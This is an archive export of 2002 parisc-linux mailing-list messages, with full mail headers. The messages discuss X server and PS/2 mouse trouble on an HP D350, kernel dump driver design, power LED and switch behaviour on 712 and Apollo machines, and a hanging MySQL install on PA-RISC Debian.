Lines: 36
Approved: news@gmane.org
Message-ID: <28F05913385EAC43AF019413F674A017013F87D4@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621073 3221 80.91.229.3 (22 Nov 2014 01:51:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:13 +0000 (UTC)
To: "parisc users" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 13:26:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from almso2.proxy.att.com (almso2.att.com [192.128.166.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE4EB4859
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 13:26:07 -0700 (MST)
Original-Received: from attrh1i.attrh.att.com ([135.71.62.10])
	by almso2.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id g1FKQ5921889
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 15:26:05 -0500 (EST)
Original-Received: from occlust04evs1.ugd.att.com (135.71.164.12) by attrh1i.attrh.att.com (5.5.029)
        id 3C62A10C00078890 for parisc-linux@lists.parisc-linux.org; Fri, 15 Feb 2002 15:26:00 -0500
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
Thread-Topic: X windows on my D350 Server
Thread-Index: AcG2XwcR/XmQPR8xEdawHQBgsBoYNw==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14070

Folks,

When my D server boots and tries to run X, I get an initial gray =
background and the X cursor, followed by a white box in the center of =
the screen, the X cursor turns to an arrow and then the screen goes =
blank. The login prompt then appears on my serial terminal.  The syslog =
file seems to be indicating that the system is having a problem with the =
PS/2 transmit buffer timeout. My /etc/X11/XF86Config-4 file is set up as =
follows for the mouse:

__________________________________________
__________________________________________

Section "InputDevices"

# Identifier and driver

	Identifier	"mouse1"
	Driver		"mouse"
	Option	"Protocol"	"PS/2"
	Option	"Device"	"/dev/mouse"

EndSection

_________________________________________
_________________________________________

Can anyone help me with this problem please?

Dick Holst







From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Fri, 15 Feb 2002 21:01:08 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020215210108.I7053@parcelfarce.linux.theplanet.co.uk>
References: <3C6AA3C3.D21C4164@admin.france.hp.com> <20020215064352.86A404858@dsl2.external.hp.com> <3C6D0555.BCDB04B6@admin.france.hp.com> <bruno_vidal@hpfrcu03.france.hp.com> <20020215190818.BB0464873@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621073 3223 80.91.229.3 (22 Nov 2014 01:51:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:13 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 14:01:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D183487A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 14:01:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16bpTg-0000RM-00; Fri, 15 Feb 2002 21:01:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020215190818.BB0464873@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Feb 15, 2002 at 12:08:18PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14071

On Fri, Feb 15, 2002 at 12:08:18PM -0700, Grant Grundler wrote:
> You should be able to leverage most of the code from palo.
> Note that palo runs in th CPU in real-mode - not virtual mode.
> You might consider doing the same for the dump code and just
> be *very* careful about which functions you call.

You have to do that anyway.  If a device has managed to DMA all over
the kernel text, you have to have a completely independent dump
mechanism.  I personally HATE the idea of a kernel dump driver and
think that MPE's solution (on a TOC, dump the ram after reset) was
more elegant and easy to prove correct.

Note that grant disagrees with me on this.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 23:41:30 +0100
Organization: private
Lines: 38
Approved: news@gmane.org
Message-ID: <3C6D8E9A.AE842F7E@gmx.at>
References: <000f01c1b5de$dee4fa80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621074 3227 80.91.229.3 (22 Nov 2014 01:51:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@dsl2.external.hp.com
To: James S <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 15:41:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8757D487B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 15:41:33 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020215224131.GHVS8446.viefep12-int.chello.at@gmx.at>;
          Fri, 15 Feb 2002 23:41:31 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14072

YES !!! The LED is software controlled !

I know, that my LED on the 712/60 flashed, as long as I am in
the PDC boot loader, after booting the OS, the LED stays on,
shutting down the switched off the LED.

I think the LED is normally controlled by the PDC LED control,
where RUN/WARNING/CAUTION/FATAL/.... can be defined, but on the
712 I never tried it. On the E55 I could control the LEDs in this
way, which is definitly different to the 720/730 and to the
machines with LCD.

Bye
Christoph P.


James S wrote:
> 
> this might be a daft question.......
> 
> what causes the power led to go out on the 712 systems ?
> 
> is it software controlled ?
> 
> James S
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 23:45:28 +0100
Organization: private
Lines: 48
Approved: news@gmane.org
Message-ID: <3C6D8F88.D77A6622@gmx.at>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk> <20020214231312.37ca1c9e.csuder@cisco.com> <200202150826.29543.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621074 3229 80.91.229.3 (22 Nov 2014 01:51:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:14 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>,
	James S <smith-james@home.com>, parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 15:45:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39D01487E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 15:45:31 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020215224528.ELWA11252.viefep14-int.chello.at@gmx.at>;
          Fri, 15 Feb 2002 23:45:28 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14073

On the Apollo machine (720/50, 730, etc) the Power-Switch is NOT 
under software control. The switch is simple a "shortcut to ground"
and is a direct input line of the power supply unit (I know this,
because I have troubles with my power supply and studied the electrical
wirering, etc.).

On E55 I also think, that the switch is controlling the power supply
also, as I can switch off at any moment in Linux and HP-UX.

In the 712, the switch is definitly under software control, as the
software can simple ignore it ... and much more...

Bye
Christoph P.


Helge Deller wrote:
> 
> On Friday 15 February 2002 08:13, Christian Suder wrote:
> > On Fri, 15 Feb 2002 02:02:19 -0500
> > "James S" <smith-james@home.com> wrote:
> > > is it possible to hook the power button to the shutdown command like it
> > > is in hp-ux ?
> >
> > The LED and the powerswitch work as expected on my 712/80 at least since
> > the 0.9.3 ISO timeframe.
> 
> It depends.
> I know the power button works correctly on my c3000 and 715/64. Both
> systems shuts down the computer cleanly.
> But on another Apollo/50 machine (712/50 or 715/50 - I don't remember)
> pressing the power-button turns off the machine immediately. This is a bug
> and should be fixed if possible.
> 
> Helge
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tilo Jandt" <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MySQL Server
Date: Sat, 16 Feb 2002 00:34:32 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <000b01c1b679$53e96fb0$0801a8c0@epsilon>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk> <20020214231312.37ca1c9e.csuder@cisco.com> <200202150826.29543.deller@gmx.de> <3C6D8F88.D77A6622@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621074 3233 80.91.229.3 (22 Nov 2014 01:51:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 16:34:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF32A4881
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 16:34:14 -0700 (MST)
Original-Received: from [172.19.20.61] (helo=mrvdomng0.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16brri-000396-00
	for parisc-linux@lists.parisc-linux.org; Sat, 16 Feb 2002 00:34:06 +0100
Original-Received: from [80.136.166.44] (helo=epsilon)
	by mrvdomng0.kundenserver.de with smtp (Exim 3.22 #2)
	id 16brrh-0004uN-00
	for parisc-linux@lists.parisc-linux.org; Sat, 16 Feb 2002 00:34:05 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14074

Hi,

I've got a problem whe installing the MySQL-server.
Last time when I updated my system with apt-get the MySQL Server should also
be updated but after downloading the File, extracting and preconfigurating
the update proces stopped after "Stopping Mysql-server".
I waited 2 hours but nothing happend. The MySQL couldn't be started and if I
remove the new mysql-server and install the old one with dpkg the same
procedure happens.
Every time after the preconfiguration the install hangs.

I don't know what to do. I cleaned up my system and wan't to new install
MySQL, but everytime the same procedure. Does anyone solved this problem or
does anyone have any idea?

Thanx,
Tilo





From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MySQL Server
Date: Sat, 16 Feb 2002 01:13:09 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <200202160111.13331.deller@gmx.de>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk> <3C6D8F88.D77A6622@gmx.at> <000b01c1b679$53e96fb0$0801a8c0@epsilon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621075 3238 80.91.229.3 (22 Nov 2014 01:51:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:15 +0000 (UTC)
To: "Tilo Jandt" <tilo@jandt-online.net>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 17:16:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2E03A4883
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 17:16:46 -0700 (MST)
Original-Received: (qmail 11263 invoked by uid 0); 16 Feb 2002 00:16:43 -0000
Original-Received: from pd9040d06.dip.t-dialin.net (HELO P100) (217.4.13.6)
  by mail.gmx.net (mp020-rz3) with SMTP; 16 Feb 2002 00:16:43 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <000b01c1b679$53e96fb0$0801a8c0@epsilon>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14075

In case you have libc6-2.2.5 installed you might try
to downgrade to libc6-2.2.4-7 again. 
Could be worth a try...

Helge

On Saturday 16 February 2002 00:34, Tilo Jandt wrote:
> Hi,
>
> I've got a problem whe installing the MySQL-server.
> Last time when I updated my system with apt-get the MySQL Server should
> also be updated but after downloading the File, extracting and
> preconfigurating the update proces stopped after "Stopping Mysql-server".
> I waited 2 hours but nothing happend. The MySQL couldn't be started and if
> I remove the new mysql-server and install the old one with dpkg the same
> procedure happens.
> Every time after the preconfiguration the install hangs.
>
> I don't know what to do. I cleaned up my system and wan't to new install
> MySQL, but everytime the same procedure. Does anyone solved this problem or
> does anyone have any idea?
>
> Thanx,
> Tilo




From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MySQL Server
Date: Sat, 16 Feb 2002 06:46:47 +0100 (CET)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0202160643280.23380-100000@www2.scram.de>
References: <200202160111.13331.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621075 3239 80.91.229.3 (22 Nov 2014 01:51:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:15 +0000 (UTC)
Cc: Tilo Jandt <tilo@jandt-online.net>,
	<parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 22:46:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0ABBD488A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 22:46:52 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g1G5kmW11350;
	Sat, 16 Feb 2002 06:46:48 +0100 (CET)
In-Reply-To: <200202160111.13331.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14076

Hi Helge,

> In case you have libc6-2.2.5 installed you might try
> to downgrade to libc6-2.2.4-7 again.
> Could be worth a try...

the MySQL server never worked for me. With the old libc6, one thread keeps
looping (100% CPU time) and with the new one it simply hangs.

> > Last time when I updated my system with apt-get the MySQL Server should
> > also be updated but after downloading the File, extracting and
> > preconfigurating the update proces stopped after "Stopping Mysql-server".
> > I waited 2 hours but nothing happend. The MySQL couldn't be started and if
> > I remove the new mysql-server and install the old one with dpkg the same
> > procedure happens.
> > Every time after the preconfiguration the install hangs.

rm /var/run/mysqld/mysqld.pid

Cheers,
--jochen




From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Sat, 16 Feb 2002 23:15:21 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020217061521.B2CF7482A@dsl2.external.hp.com>
References: <3C6AA3C3.D21C4164@admin.france.hp.com> <20020215064352.86A404858@dsl2.external.hp.com> <3C6D0555.BCDB04B6@admin.france.hp.com> <bruno_vidal@hpfrcu03.france.hp.com> <20020215190818.BB0464873@dsl2.external.hp.com>  <20020215210108.I7053@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621075 3242 80.91.229.3 (22 Nov 2014 01:51:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:15 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 16 23:15:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B2CF7482A; Sat, 16 Feb 2002 23:15:21 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 15 Feb 2002 21:01:08 GMT." <20020215210108.I7053@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14077

Matthew Wilcox wrote:
> I personally HATE the idea of a kernel dump driver and
> think that MPE's solution (on a TOC, dump the ram after reset) was
> more elegant and easy to prove correct.
> 
> Note that grant disagrees with me on this.

I'm not religous about this. At this point, I'm happy for *any*
kind of a dump tool to debug kernel state when the system crashes.

grant



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: IPv6 Sparc64
Date: Sun, 17 Feb 2002 17:30:55 +0100 (CET)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0202171727570.30347-100000__27090.1790856898$1416621076$gmane$org@alpha.bocc.de>
References: <Pine.LNX.4.44-Blink.0202041155020.19625-100000@deepthought.blinkenlights.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621076 3244 80.91.229.3 (22 Nov 2014 01:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:16 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Sten <sten@blinkenlights.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 17 09:31:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from alpha.bocc.de (p5080D25A.dip.t-dialin.net [80.128.210.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECFFE482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Feb 2002 09:31:14 -0700 (MST)
Original-Received: from localhost (jochen@localhost)
	by alpha.bocc.de (8.11.6/8.11.6) with ESMTP id g1HGUu030351;
	Sun, 17 Feb 2002 17:30:59 +0100
X-Authentication-Warning: alpha.bocc.de: jochen owned process doing -bs
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <Pine.LNX.4.44-Blink.0202041155020.19625-100000@deepthought.blinkenlights.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
